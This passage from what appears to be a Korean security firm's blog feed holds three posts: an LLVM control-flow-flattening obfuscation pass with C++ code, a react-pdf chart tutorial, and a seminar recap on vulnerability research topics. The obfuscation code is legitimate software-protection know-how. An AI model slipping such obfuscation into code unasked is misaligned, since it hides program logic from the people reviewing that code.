id="전후비교">전후비교</h2> + +<p>위와 같은 <code class="language-plaintext highlighter-rouge">Control Flow Flattening</code> 작업을 수행하면 아래와 같은 코드를 얻을 수 있습니다.</p> + +<p>Opt의 <code class="language-plaintext highlighter-rouge">-dot-cfg</code> 옵션을 사용하여 흐름 평면화 전용 전과 후를 비교하면 StealienCFGswitch 라는 Switch 블록이 추가된 것과 모든 블록이 다시 이 블록으로 돌아가는 난독화 기능이 적용된 것을 확인할 수 있습니다.</p> + +<p>이러한 난독화 기능은 다른 난독화 기능들과 함께 적용하면 훨씬 더 분석하기 어려운 코드를 만들어 낼 수 있습니다.</p> + +<table> + <thead> + <tr> + <th><img src="/assets/2022-07-14-LLVM-flow-flatten/original-flow-graph.png" alt="Original Flow Graph" style="max-width:800px; height:auto;" /></th> + </tr> + </thead> + <tbody> + <tr> + <td>기존 흐름 그래프</td> + </tr> + </tbody> +</table> + +<table> + <thead> + <tr> + <th><img src="/assets/2022-07-14-LLVM-flow-flatten/flattened-flow-graph.png" alt="Flattened Flow Graph" style="max-width:800px; height:auto;" /></th> + </tr> + </thead> + <tbody> + <tr> + <td>평면화 모듈 적용 후 흐름 그래프</td> + </tr> + </tbody> +</table>조장현LLVM을 사용한 Control Flow Flattening 패스 개발 LLVM을 이용하여 난독화를 할 수 있으면 이를 기반으로 다양한 플랫폼에서 LLVM을 사용하여 빌드되는 코드들에 대한 공통 난독화 툴을 만들 수 있을 것이라고 생각하였습니다. 이를 위해 여러가지 난독화 및 암호화 패스를 개발하였고 이 글에서는 그 중 한 가지인 흐름 평면화 패스의 개발 과정에 대해 소개하겠습니다. LLVM이란 LLVM의 정식 명칭은 Low Level Virtual Machine입니다. 하지만 이 프로젝트의 핵심은 기존의 virtual machine 개념보다는 모듈화 되고 재사용 가능한 컴파일러 기술을 의미합니다. 그리고 이것은 target independent한 optimizer, target specific 한 어셈블리 코드를 생성하는 code generator 같은 컴파일러 도구들과 프로그래밍 언어와 어셈블리 코드 사이에 LLVM intermediate representation으로 알려진 LLVM IR이라는 중간 단계의 언어로 이루어져 있습니다. 이 글에서는 LLVM에서 모듈화된 컴파일러를 제작할 수 있는 구조인 패스를 통해 흐름 난독화를 하였습니다. Control Flow Flattening란 흐름 평면화, control flow flattening은 코드의 흐름을 평면화 시키는 난독화 기술입니다. Loop, conditional branch 같은 코드의 흐름을 전부 하나의 거대한 switch 문에 집어넣어서 모든 다른 블록으로의 이동이 단 하나의 블록으로부터 이루어지도록 만들어 코드를 분석하기 어렵게 만듭니다. 흐름 그래프가 마지막 사진과 같은 구조로 변경됩니다. 환경 구성 이 글에서는 llvm 13 버전을 바탕으로 LLVM을 빌드 하였습니다. 아래 cmake 명령이 정상적으로 실행된 후 ninja를 통해 빌드할 수 있습니다. LLVM 개발은 샘플 패스인 llvm/lib/Transforms/Hello를 덮어씌워 흐름 평면화를 위한 커스텀 패스를 개발하였습니다. cmake -G Ninja -DLLVM_PARALLEL_LINK_JOBS=1 -DCMAKE_BUILD_TYPE=Debug -DLLVM_ENABLE_PROJECTS=clang ../llvm-project/llvm 흐름 평면화 적용 시 발생하는 오류 LLVM에서 Function 클래스 아래에 존재하는 Basic Block들을 흐름 평면화의 개념에 따라 하나의 거대한 Switch Instruction 아래에 집어넣음으로써 구현해 낼 수 있습니다. 이처럼 수정을 시도할 경우 LLVM Verifier에서 수정된 내용이 유효한지 검증합니다. 흐름 그래프와 관련된 검증에는 preds라는 어떤 블록에서 이 블록으로 이동할 수 있는지에 대한 정보가 주로 사용되는데, 이와 관련된 아래 3가지 검증에서 오류가 자주 발생합니다. phi node의 경우 모든 케이스와 preds가 일치해야 한다. PHINode should have one entry for each predecessor of its parent basic block! %62 = phi i32 [ %30, %23 ], [ %35, %32 ], [ %40, %37 ], [ %60, %54 ], !dbg !1211 LLVM ERROR: Broken module found, compilation aborted! 블록 A에서 호출하는 변수는 entry block에서 블록 A에 도달하기 전에 정의되어야 한다. Instruction does not dominate all uses! %alloc = alloca i64, align 8 %load = load i64, i64* %alloc, align 8 LLVM ERROR: Broken module found, compilation aborted! Landingpad를 가진 블록은 반드시 invoke에 의해서 호출되어야 한다. Block containing LandingPadInst must be jumped to only by the unwind edge of an invoke. LLVM ERROR: Broken module found, compilation aborted! 이 문제들 중 1번과 2번은 opt에 기본으로 내장되어 있는 –reg2mem 옵션을 사용함으로써 대부분 해결할 수 있습니다. 이 옵션은 phi 노드들을 제거하고 모든 allocation을 entry block에서 하도록 수정해줍니다. 이를 적용함으로써 흐름 평면화를 진행하기 쉬워집니다. 다만 이 옵션을 적용하여도 남아있는 phi node가 있는 경우가 있어 이에 대한 예외처리를 해야 합니다. 3번의 경우 switch-case 블록에서 호출할 수 없기 때문에 예외처리를 해야 합니다. 평면화 코드 구현 우선 switch-case 문에서 호출할 수 있는 블록들을 확인해야합니다. Function 클래스에 iterator를 돌면서 위의 3번, LandingPad를 가졌는지 확인하고 아닌 것들을 벡터 형태로 수집합니다. Allocation이 이루어지는 블록은 따로 분리해 두어야 하기 때문에 entry block을 제거해주어야 합니다. vector&lt;BasicBlock *&gt; origBB; for (Function::iterator i = F.begin(); i != F.end(); ++i) { BasicBlock *block = &amp;*i; if (!block-&gt;isLandingPad()) { origBB.push_back(block); } } origBB.erase(origBB.begin()); return origBB; 그 다음 IRBuilder를 사용하여 Switch Instruction을 가지게 될 Basic Block을 만들어야 합니다. Switch 블록에는 default로 어떤 블록으로 점프할 것인지를 지정해 주어야 하는데 이것 역시 새로운 빈 블록, swDefault를 생성하여 지정해 주었습니다. BasicBlock *swDefault = BasicBlock::Create(Context, "StealienCFGSwitchDefault", &amp;F, *origBB.begin()); IRBuilder&lt;&gt; IRBswDefault(swDefault); IRBswDefault.CreateBr(*origBB.begin()); BasicBlock *startSwitch = BasicBlock::Create(Context, "StealienCFGswitch", &amp;F, swDefault); IRBuilder&lt;&gt; IRBswitch(startSwitch); 그 다음 Switch에서 사용할 변수를 Entry Block에서 allocation을 해 준 뒤, Switch 블록에서 이 값을 Value add로 가져오도록 설정합니다. AllocaInst *switchVar = new AllocaInst(llvm::Type::getInt64Ty(Context), AddrSpace, nullptr, AllocaAlign, "", entryBlock-&gt;getTerminator()); LoadInst *load = IRBswitch.CreateAlignedLoad(llvm::Type::getInt64Ty(Context), switchVar, MaybeAlign(8)); Value *add = IRBswitch.CreateAdd(load, ConstantInt::get(llvm::Type::getInt64Ty(Context), 762167)); 그 후 IRBSwitch에 Switch Instruction을 생성합니다. randomArr은 특정 범위의 수를 랜덤한 순서로 섞은 리스트이며, 이 값들을 사용해서 아래와 같이 case들을 추가해줍니다. switchI = IRBswitch.CreateSwitch(add, swDefault, randomArr[origBB.size()]); for (BasicBlock *setSwitchBlocks : origBB) { BasicBlock *selectedBlock = setSwitchBlocks; if(!this-&gt;hasPHI(selectedBlock)) { ConstantInt *constCase = llvm::ConstantInt::get(llvm::Type::getInt64Ty(Context), randomArr[index]); switchI-&gt;addCase(constCase, selectedBlock); } } 마지막으로 origBB에 있는 BasicBlock 들의 Terminator를 BranchInst인지 그리고 Successor 개수에 따라 분류할 수 있습니다. BranchInst는 1개 혹은 2개의 Successor를 가지며, 이것들이 수정 대상입니다. Branch Instruction이 아닌 경우 : return 혹은 unreachable 같은 종류되는 경우 혹은 invoke와 같이 수정이 불가능한 Terminating Instruction인 경우 Branch Instruction의 Successor가 1인 경우 : branch BlockA 같이 다른 블록으로 이동하는 경우 Branch Instruction의 Successor가 2인 경우 : branch condition BlockA BlockB 처럼 condition 값에 따라 이동하는 블록이 이동되는 경우 따라서 Branch Instruction에서 이동할 블록에 지정된 값을 Switch Instruction에서 찾아서 위에서 생성해둔 switchVar에 저장해주고 Switch Block으로 돌아가면 자동으로 이걸 로드해서 원하는 블록으로 이동하게 될 것입니다. Successor의 개수가 1인 경우에 대한 코드는 아래와 같습니다. 2인 경우에도 둘 다에 대해 동일하게 처리해주면 됩니다. 아래 코드에서는 Switch Instruction에서 가져온 intCase 값이 직접 드러나는 것을 숨기기 위해 추가적인 덧셈과 곱셈을 수행하도록 하였습니다. if(!isa&lt;BranchInst&gt;(selectedBlock-&gt;getTerminator())){ continue; } uint64_t successors = selectedBlock-&gt;getTerminator()-&gt;getNumSuccessors(); if (successors == 1) { BasicBlock *follow = selectedBlock-&gt;getTerminator()-&gt;getSuccessor(0); ConstantInt *intCase = switchI-&gt;findCaseDest(follow); if (intCase == NULL) { continue; } selectedBlock-&gt;getTerminator()-&gt;eraseFromParent(); IRBuilder&lt;NoFolder&gt; tempBuilder(selectedBlock); uint64_t origCase = intCase-&gt;getSExtValue() - addVal; uint64_t randVal = 17+rand()%10000; Value * mul = tempBuilder.CreateMul(ConstantInt::get(llvm::Type::getInt64Ty(Context), origCase/randVal), ConstantInt::get(llvm::Type::getInt64Ty(Context), randVal)); Value * add = tempBuilder.CreateAdd(mul, ConstantInt::get(llvm::Type::getInt64Ty(Context), origCase%randVal)); tempBuilder.CreateAlignedStore(add, switchVar, MaybeAlign(8)); tempBuilder.CreateBr(startSwitch); } 전후비교 위와 같은 Control Flow Flattening 작업을 수행하면 아래와 같은 코드를 얻을 수 있습니다. Opt의 -dot-cfg 옵션을 사용하여 흐름 평면화 전용 전과 후를 비교하면 StealienCFGswitch 라는 Switch 블록이 추가된 것과 모든 블록이 다시 이 블록으로 돌아가는 난독화 기능이 적용된 것을 확인할 수 있습니다. 이러한 난독화 기능은 다른 난독화 기능들과 함께 적용하면 훨씬 더 분석하기 어려운 코드를 만들어 낼 수 있습니다. 기존 흐름 그래프 평면화 모듈 적용 후 흐름 그래프React로 pdf 다루기2022-06-30T00:00:00+09:002022-06-30T00:00:00+09:00http://ufo.stealien.com/2022-06-30/PDF-with-React-ko<h1 id="react로-pdf-다루기">React로 pdf 다루기</h1> + +<p>올해 초, <strong>월간 레포트 리뉴얼</strong> 이라는 업무를 새롭게 배정받게 되었습니다. +디자인은 회사 대표 디자이너이신 재성님이 아주 아름답게 만들어주셨지만, 코드로 PDF를 만들거나 다뤄본 적이 없는 저는 막연한 두려움을 갖게 되었습니다.</p> + +<h2 id="왜-리뉴얼을-진행했나">왜 리뉴얼을 진행했나?</h2> + +<p>기존에 사용하던 코드로도 월말마다 회사 Jira에 저장되는 이슈들을 정리하여 메일로 보내기에는 충분했습니다. +하지만 프로젝트 코드가 관리가 잘 되지 않아서 새로운 디자인을 적용하고, 새로운 데이터를 뽑아내기 위해 이 코드를 처음부터 리딩하기는 조금 힘든 상황이였습니다. +특히, 주로 사용하는 언어도 다르기도 했구요.</p> + +<table> + <thead> + <tr> + <th><img src="/assets/2022-06-30-PDF-with-React/code-manage-not-good.png" alt="codemanage" style="max-width:800px; height:auto;" /></th> + </tr> + </thead> + <tbody> + <tr> + <td>코드 관리 절망편</td> + </tr> + </tbody> +</table> + +<p>따라서 저는 제가 주로 사용하는 Typescript와 React 기반으로 월간 레포트 시스템을 새로 만들기로 했습니다. 기존처럼 스크립트 형태로도 작성할 수 있지만, 예전에 보낸 레포트 조회나 이미지 변경 등을 개발자인 저 뿐만 아니라, 다른 분들도 플랫폼을 통해 확인할 수 있으면 더 좋을 것 같아서 웹 시스템으로 개발하기 위한 계획을 세웠습니다.</p> + +<h2 id="react-pdf">React-PDF</h2> + +<p>월간 레포트에서 사용하는 데이터는 저희 Jira와 Confluence에서 가져오게 됩니다. +사실 Jira나 Confluence에서 데이터를 불러오거나 페이지를 생성하는 <a href="https://github.com/mrrefactoring/jira.js/">API</a>는 너무나도 잘 되어있어서 큰 무리 없이 사용할 수 있었습니다.</p> + +<p>하지만, 가장 큰 문제는 역시 가져온 데이터를 기반으로 새로운 PDF 를 생성하는 과정이였습니다.</p> + +<p><img src="/assets/2022-06-30-PDF-with-React/react-pdf.png" alt="react-pdf" /></p> + +<p><a href="https://react-pdf.org/">react-pdf</a>는 React를 기반으로 PDF를 렌더링하거나 생성할 수 있는 라이브러리 입니다. +라이브러리에서 제공하는 <code class="language-plaintext highlighter-rouge">Document</code> 컴포넌트를 기반으로 PDF 파일을 렌더링하며, <code class="language-plaintext highlighter-rouge">StyleSheet</code>를 통해서 기존 jsx 처럼 글자나 뷰 자체에 스타일링을 할 수 있도록하는 다양하고 필수적인 기능을 포함하고 있습니다.</p> + +<p>또한 <code class="language-plaintext highlighter-rouge">svg</code>도 지원하기 때문에, 이미지나 차트 등도 쉽게 표현할 수 있습니다.</p> + +<p>그래서 저는 <code class="language-plaintext highlighter-rouge">react-pdf</code>를 기반으로 디자인된 PDF를 만들기 시작했습니다.</p> + +<h2 id="위기">위기</h2> + +<p>사실 <code class="language-plaintext highlighter-rouge">react-pdf</code>라는 라이브러리를 발견했을 때, 작업이 금방 끝날 줄 알았습니다. +하지만, 사용하다보니 생각하지 못한 몇 가지 문제점들을 마주하게 되었습니다.</p> + +<ol> + <li>Vite 환경에서 react-pdf가 잘 작동하지 않았습니다. + <ul> + <li><a href="https://github.com/vitejs/vite/issues/3405">issue</a></li> + <li>Vite에서 사용하기 위해서는 추가적으로 브라우저용 라이브러리를 추가해주어야 합니다.</li> + <li>이 <a href="https://github.com/exogee-technology/vite-plugin-shim-react-pdf">라이브러리</a> 로 해결했습니다.</li> + </ul> + </li> + <li>프론트엔드에서 pdf를 생성하다보니, 브라우저 콘솔에서 많은 에러가 발생했습니다. + <ul> + <li>클라이언트쪽에서 렌더링을 하는 과정에서 이슈가 있는 것 같았습니다.</li> + <li>다행히, 작동에는 이상이 없어서 우선 넘어가게 되었습니다.</li> + </ul> + </li> + <li>차트를 그리기가 조금 까다로웠습니다. + <ul> + <li>svg를 지원한다고 해서 <a href="https://nivo.rocks/">nivo</a>를 사용하려고 했는데, 구조상 <code class="language-plaintext highlighter-rouge">차트컴포넌트 -&gt; svg -&gt; react-pdf</code> 의 형식으로 쓰면 오류가 발생하는 바람에 결국 스스로 만들어서 썼습니다.</li> + </ul> + </li> +</ol> + +<p>특히, 마지막 3번이 저를 굉장히 괴롭히게 되었습니다.</p> + +<p>월간 레포트의 특성 상, 차트나 표가 대부분의 데이터를 이루고 있었습니다. +특히, 차트는 원형, 막대형 그래프 등 다양한 그래프를 사용할 예정이였기 때문에 작업에 지장이 있을 수 밖에 없었습니다.</p> + +<p>다행히, <code class="language-plaintext highlighter-rouge">react-pdf</code> 에서는 svg를 다루기 위한 여러 컴포넌트가 존재하고 있었습니다. +그 중에서 사용한 것은 <code class="language-plaintext highlighter-rouge">Path</code> 이였습니다.</p> + +<p>PieGraph를 만들 때, 전체 데이터 중에서 차지하는 부분의 각도와 반지름을 통해 각각의 좌표를 구했습니다.</p> + +<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">function</span> <span class="nx">_toXY</span><span class="p">(</span><span class="nx">cX</span><span class="p">:</span> <span class="nx">number</span><span class="p">,</span> <span class="nx">cY</span><span class="p">:</span> <span class="nx">number</span><span class="p">,</span> <span class="nx">r</span><span class="p">:</span> <span class="nx">number</span><span class="p">,</span> <span class="nx">degrees</span><span class="p">:</span> <span class="nx">number</span><span class="p">)</span> <span class="p">{</span> + <span class="kd">const</span> <span class="nx">rad</span> <span class="o">=</span> <span class="p">(</span><span class="nx">degrees</span> <span class="o">*</span> <span class="nb">Math</span><span class="p">.</span><span class="nx">PI</span><span class="p">)</span> <span class="o">/</span> <span class="mf">180.0</span><span class="p">;</span> + <span class="k">return</span> <span class="p">{</span> + <span class="na">x</span><span class="p">:</span> <span class="nx">cX</span> <span class="o">+</span> <span class="nx">r</span> <span class="o">*</span> <span class="nb">Math</span><span class="p">.</span><span class="nx">cos</span><span class="p">(</span><span class="nx">rad</span><span class="p">),</span> + <span class="na">y</span><span class="p">:</span> <span class="nx">cY</span> <span class="o">+</span> <span class="nx">r</span> <span class="o">*</span> <span class="nb">Math</span><span class="p">.</span><span class="nx">sin</span><span class="p">(</span><span class="nx">rad</span><span class="p">),</span> + <span class="p">};</span> +<span class="p">}</span> + +<span class="kd">function</span> <span class="nx">toPieChartItemPath</span><span class="p">(</span> + <span class="nx">x</span><span class="p">:</span> <span class="nx">number</span><span class="p">,</span> + <span class="nx">y</span><span class="p">:</span> <span class="nx">number</span><span class="p">,</span> + <span class="nx">radiusIn</span><span class="p">:</span> <span class="nx">number</span><span class="p">,</span> + <span class="nx">radiusOut</span><span class="p">:</span> <span class="nx">number</span><span class="p">,</span> + <span class="nx">startAngle</span><span class="p">:</span> <span class="nx">number</span><span class="p">,</span> + <span class="nx">endAngle</span><span class="p">:</span> <span class="nx">number</span> +<span class="p">)</span> <span class="p">{</span> + <span class="nx">startAngle</span> <span class="o">+=</span> <span class="mi">270</span><span class="p">;</span> + <span class="nx">endAngle</span> <span class="o">+=</span> <span class="mi">270</span><span class="p">;</span> + <span class="kd">const</span> <span class="nx">startIn</span> <span class="o">=</span> <span class="nx">_toXY</span><span class="p">(</span><span class="nx">x</span><span class="p">,</span> <span class="nx">y</span><span class="p">,</span> <span class="nx">radiusIn</span><span class="p">,</span> <span class="nx">endAngle</span><span class="p">);</span> + <span class="kd">const</span> <span class="nx">endIn</span> <span class="o">=</span> <span class="nx">_toXY</span><span class="p">(</span><span class="nx">x</span><span class="p">,</span> <span class="nx">y</span><span class="p">,</span> <span class="nx">radiusIn</span><span class="p">,</span> <span class="nx">startAngle</span><span class="p">);</span> + <span class="kd">const</span> <span class="nx">startOut</span> <span class="o">=</span> <span class="nx">_toXY</span><span class="p">(</span><span class="nx">x</span><span class="p">,</span> <span class="nx">y</span><span class="p">,</span> <span class="nx">radiusOut</span><span class="p">,</span> <span class="nx">endAngle</span><span class="p">);</span> + <span class="kd">const</span> <span class="nx">endOut</span> <span class="o">=</span> <span class="nx">_toXY</span><span class="p">(</span><span class="nx">x</span><span class="p">,</span> <span class="nx">y</span><span class="p">,</span> <span class="nx">radiusOut</span><span class="p">,</span> <span class="nx">startAngle</span><span class="p">);</span> + <span class="kd">const</span> <span class="nx">arcSweep</span> <span class="o">=</span> <span class="nx">endAngle</span> <span class="o">-</span> <span class="nx">startAngle</span> <span class="o">&lt;=</span> <span class="mi">180</span> <span class="p">?</span> <span class="dl">"</span><span class="s2">0</span><span class="dl">"</span> <span class="p">:</span> <span class="dl">"</span><span class="s2">1</span><span class="dl">"</span><span class="p">;</span> + <span class="kd">const</span> <span class="nx">d</span> <span class="o">=</span> <span class="p">[</span> + <span class="dl">"</span><span class="s2">M</span><span class="dl">"</span><span class="p">,</span> + <span class="nx">startIn</span><span class="p">.</span><span class="nx">x</span><span class="p">,</span> + <span class="nx">startIn</span><span class="p">.</span><span class="nx">y</span><span class="p">,</span> + <span class="dl">"</span><span class="s2">L</span><span class="dl">"</span><span class="p">,</span> + <span class="nx">startOut</span><span class="p">.</span><span class="nx">x</span><span class="p">,</span> + <span class="nx">startOut</span><span class="p">.</span><span class="nx">y</span><span class="p">,</span> + <span class="dl">"</span><span class="s2">A</span><span class="dl">"</span><span class="p">,</span> + <span class="nx">radiusOut</span><span class="p">,</span> + <span class="nx">radiusOut</span><span class="p">,</span> + <span class="mi">0</span><span class="p">,</span> + <span class="nx">arcSweep</span><span class="p">,</span> + <span class="mi">0</span><span class="p">,</span> + <span class="nx">endOut</span><span class="p">.</span><span class="nx">x</span><span class="p">,</span> + <span class="nx">endOut</span><span class="p">.</span><span class="nx">y</span><span class="p">,</span> + <span class="dl">"</span><span class="s2">L</span><span class="dl">"</span><span class="p">,</span> + <span class="nx">endIn</span><span class="p">.</span><span class="nx">x</span><span class="p">,</span> + <span class="nx">endIn</span><span class="p">.</span><span class="nx">y</span><span class="p">,</span> + <span class="dl">"</span><span class="s2">A</span><span class="dl">"</span><span class="p">,</span> + <span class="nx">radiusIn</span><span class="p">,</span> + <span class="nx">radiusIn</span><span class="p">,</span> + <span class="mi">0</span><span class="p">,</span> + <span class="nx">arcSweep</span><span class="p">,</span> + <span class="mi">1</span><span class="p">,</span> + <span class="nx">startIn</span><span class="p">.</span><span class="nx">x</span><span class="p">,</span> + <span class="nx">startIn</span><span class="p">.</span><span class="nx">y</span><span class="p">,</span> + <span class="dl">"</span><span class="s2">z</span><span class="dl">"</span><span class="p">,</span> + <span class="p">].</span><span class="nx">join</span><span class="p">(</span><span class="dl">"</span><span class="s2"> </span><span class="dl">"</span><span class="p">);</span> + <span class="k">return</span> <span class="nx">d</span><span class="p">;</span> +<span class="p">}</span> +</code></pre></div></div> + +<p>이를 Svg 안의 Path 객체로 선을 그리고, 그 안을 색으로 채워 그래프를 그릴 수 있게 했습니다. 코드는 다음과 같습니다.</p> + +<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">const</span> <span class="nx">PieGraph</span><span class="p">:</span><span class="nx">React</span><span class="p">.</span><span class="nx">FC</span><span class="o">&lt;</span><span class="p">{</span><span class="na">datas</span><span class="p">:</span> <span class="nx">Data</span><span class="p">[]}</span><span class="o">&gt;</span> <span class="o">=</span> <span class="p">({</span><span class="nx">datas</span><span class="p">})</span> <span class="o">=&gt;</span> <span class="p">{</span> + <span class="k">return</span> <span class="o">&lt;</span><span class="nx">Svg</span> <span class="nx">width</span><span class="o">=</span><span class="dl">"</span><span class="s2">256</span><span class="dl">"</span> <span class="nx">height</span><span class="o">=</span><span class="dl">"</span><span class="s2">172</span><span class="dl">"</span><span class="o">&gt;</span> + <span class="p">{</span><span class="nx">data</span><span class="p">.</span><span class="nx">map</span><span class="p">((</span><span class="nx">item</span><span class="p">,</span> <span class="nx">idx</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="p">(</span> + <span class="o">&lt;</span><span class="nx">Path</span> + <span class="nx">key</span><span class="o">=</span><span class="p">{</span><span class="nx">item</span><span class="p">.</span><span class="nx">id</span><span class="p">}</span> + <span class="nx">d</span><span class="o">=</span><span class="p">{</span><span class="nx">toPieChartItemPath</span><span class="p">(</span><span class="mi">128</span><span class="p">,</span> <span class="mi">86</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">64</span><span class="p">,</span> <span class="nx">range</span><span class="p">[</span><span class="nx">idx</span><span class="p">],</span> <span class="nx">range</span><span class="p">[</span><span class="nx">idx</span> <span class="o">+</span> <span class="mi">1</span><span class="p">])}</span> + <span class="nx">fill</span><span class="o">=</span><span class="p">{</span><span class="nx">colors</span><span class="p">[</span><span class="nx">item</span><span class="p">.</span><span class="nx">id</span><span class="p">]}</span> + <span class="sr">/</span><span class="err">&gt; +</span> <span class="p">))}</span> + <span class="o">&lt;</span><span class="sr">/Svg</span><span class="err">&gt; +</span><span class="p">}</span> +</code></pre></div></div> + +<p><strong>예시</strong></p> + +<p><img src="/assets/2022-06-30-PDF-with-React/chart.png" alt="chart" /></p> + +<p><code class="language-plaintext highlighter-rouge">PolyLine</code> 컴포넌트를 통해 외부에 퍼센트를 나타낼 수 있게도 구현하였습니다.</p> + +<p>이런 방식으로 PieGraph와 LineGraph도 그릴 수 있었습니다.</p> + +<p>아마도 <code class="language-plaintext highlighter-rouge">react-pdf</code>에서 일반적인 태그를 사용하지 않아서 nivo와 같은 차트 라이브러리들이 작동하지 않았을 것 같습니다.</p> + +<h2 id="결론">결론</h2> + +<p>이제는 제가 만든 새로운 코드를 기반으로 많은 고객사에 앱슈트 월간 레포트가 전달되고 있습니다.</p> + +<p>처음에 기획했던 기능들을 전부 넣지는 못했지만, 계속 업데이트를 해서 사내에서 가장 유용하게 사용하는 프로젝트가 되기를 바랍니다.</p>하준혁React로 pdf 다루기Stealien Security Seminar 1회 리뷰2022-06-30T00:00:00+09:002022-06-30T00:00:00+09:00http://ufo.stealien.com/2022-06-30/2022_3s_review-ko<h1 id="stealien-security-seminar-1회-리뷰">Stealien Security Seminar 1회 리뷰</h1> + +<p align="center"> + <img src="/assets/2022-06-30-2022_3s_review/banner.png" /><br /> + <i>Banner</i> +</p> + +<p>안녕하세요! 저는 스틸리언의 김도현 선임연구원입니다.</p> + +<p>2022년 6월 29일, 스틸리언에서 주관하는 첫 세미나가 성공적으로 진행되었습니다.</p> + +<p>대망의 첫 세미나에서는 SSL<sup id="fnref:1" role="doc-noteref"><a href="#fn:1" class="footnote" rel="footnote">1</a></sup> 수료생 분들의 연구에 대해 소개하는 <strong>SSL 세션</strong>과, 스틸리언 연구원들의 연구에 대해 소개하는 <strong>Open 세션</strong> 그리고 오프라인에서만 진행하는 <strong>Secret 세션</strong>이 있었는데요, 이번 세미나는 <a href="https://www.youtube.com/watch?v=6YgSTZ9i7Vk">유튜브를 통해 온라인</a>으로도 송출하였기 때문에 혹시나 내용을 중간에 놓치셨거나, 시간이 없어 참석하지 못하신 분들은 다시보기를 통해 언제든 자유롭게 저희의 발표를 즐겨주시면 감사하겠습니다.</p> + +<p>혹시나 아직 이번 세미나의 재미있는 발표 주제들을 듣지 못 하신분들을 위해서 이렇게 주제들에 대한 간단한 소개와 요약을 작성해 보았습니다.</p> + +<h2 id="open-static-vulnerability-analysis">[Open] Static Vulnerability Analysis</h2> + +<p align="center"> + <img src="/assets/2022-06-30-2022_3s_review/dhkim.jpg" /><br /> + <i>발표 현장</i> +</p> + +<p>세미나의 첫발은 제가 내디뎠습니다.</p> + +<p>저의 주요 관심사 중 한가지는 다양한 어플리케이션 또는 임베디드 장비의 취약점을 찾는 것입니다. +이런류의 버그바운티 또는 프로젝트를 해 보신분들은 잘 아시겠지만, 생각보다는 국내의 타겟들은 아직도 복잡도가 낮은 취약점들이 많이 나오고 있습니다.</p> + +<p>이런 취약점들을 effortless하게 발굴하기 위해서 저는 Static Vulnerability Analysis 또는 Static Program Analysis for Vulnerability Research라는 방법을 이용했습니다. 이번 발표에서는 Static Vulnerability Analysis에 대한 기본적인 소개와, Fuzzing과 비교하여 이 기법의 장점과 단점에 대해 설명하고, 간단한 몇가지 테크닉에 대해 발표했습니다.</p> + +<p>또한 마지막에는 소개드린 주제를 바탕으로 SSL 3기에서 진행할 내용에 대해 소개 드렸습니다.</p> + +<p>영상에서는 <a href="https://youtu.be/6YgSTZ9i7Vk?t=1729">28:49</a>부터 저의 발표가 시작되니, 재미있게 들어주시면 감사하겠습니다 🤩</p> + +<h2 id="ssl-idapython으로-분석을-더-편하게-하는-방법">[SSL] IDAPython으로 분석을 더 편하게 하는 방법</h2> + +<p align="center"> + <img src="/assets/2022-06-30-2022_3s_review/snwo.jpg" /><br /> + <i>발표 현장</i> +</p> + +<p>두번째 발표는 SSL 2기 수료생 황선우님이 진행해 주셨습니다.</p> + +<p>IDA Pro에서 제공하는 API를 이용하여 malware 분석, plugin에 대한 소개 및 CTF 문제를 IDAPython으로 해결하는 방법에 대해 소개 해 주셨습니다. +특히 Windows OS의 application이 <code class="language-plaintext highlighter-rouge">GetModuleHandleA()</code>, <code class="language-plaintext highlighter-rouge">LoadLibraryA()</code>, <code class="language-plaintext highlighter-rouge">GetProcAddress()</code> chain을 이용해 binary에서 실행하고자 하는 procedure의 주소를 가져올 때, IDAPython을 이용하여 난독화 된 대상 library 및 procedure의 이름(문자열)을 복구할 수 있는 방법을 소개 해 주셨던 점이 저에게는 인상깊었습니다.</p> + +<p>이후에는 <a href="https://ctftime.org/event/1583"><code class="language-plaintext highlighter-rouge">b01lers CTF - TM</code></a>, <a href="https://ctftime.org/task/20424"><code class="language-plaintext highlighter-rouge">DCTF - Glade</code></a> 문제를 직접 IDAPython을 이용하여 분석하는 예를 보여주시기도 하였습니다.</p> + +<p>영상에서는 <a href="https://youtu.be/6YgSTZ9i7Vk?t=4105">1:08:25</a>부터 선우님의 발표가 시작되니, IDAPython의 강력한 기능을 이용해 보고 싶으신 분들은 한번 꼭 시청 해 보셔야겠네요 😎</p> + +<h2 id="ssl-권한-상승-취약점-분석-방법론--a">[SSL] 권한 상승 취약점 분석 방법론 + a</h2> + +<p align="center"> + <img src="/assets/2022-06-30-2022_3s_review/jhjang.jpg" /><br /> + <i>발표 현장</i> +</p> + +<p>세번째 발표 또한 SSL 2기 수료생 장재훈님이 진행해 주셨습니다.</p> + +<p>장재훈님께서는 SSL 2기의 주제인 ‘권한 상승 취약점 분석 방법론’을 바탕으로 추가로 연구한 내용을 더해 이번 발표를 해 주셨습니다. +방법론<sup id="fnref:2" role="doc-noteref"><a href="#fn:2" class="footnote" rel="footnote">2</a></sup>에는 권한 상승 취약점을 관리적 측면, 기술적 측면으로 나누어 소개하고 있는데, 각 취약점에 대한 디테일이 더해져 보는 맛이 있는 발표였던 것 같습니다.</p> + +<p>또한 이번 발표에는 ‘File Junction’, ‘Named Pipe Impersonation’ 등 개발자가 유의하지 않으면 발생하기 쉽고, 치명적인 버그 클래스들에 대해서도 소개 해 주셨습니다.</p> + +<p>요즘의 시스템들은 권한 분리가 잘 되어있는 경우가 많아지고 있지만, 권한이 분리 된 환경에서도 여전히 실수가 발생하면 성공적으로 공격을 수행시킬 수 있다는 사실을 이번 발표를 통해 잘 보여주신 것 같습니다.</p> + +<p>영상에서는 <a href="https://youtu.be/6YgSTZ9i7Vk?t=7145">1:59:05</a>부터 재훈님의 발표가 시작됩니다. SSL을 통해 어떤 프로젝트를 진행하며 뭘 배워갈 수 있을지에 대해 궁금하신 분들은 한번 시청 해 보시는 것을 추천 드립니다! 👏</p> + +<h2 id="open-모던-웹-환경에서의-버그케이스와-시큐어코딩">[Open] 모던 웹 환경에서의 버그케이스와 시큐어코딩</h2> + +<p align="center"> + <img src="/assets/2022-06-30-2022_3s_review/scyoon.jpg" /><br /> + <i>발표 현장</i> +</p> + +<p>네번째 발표는 저희 회사에서 많은 귀여움을 받고 있는 윤석찬 선임 연구원이 발표 해 주셨습니다.</p> + +<p>윤석찬 연구원은 점점 스택이 높게 쌓여지는 모던 웹 어플리케이션에서 어떤 방식의 취약점을 찾을 수 있고, 이를 보완하는 방법에 대해 소개해 주셨습니다. 눈높이에 맞춰 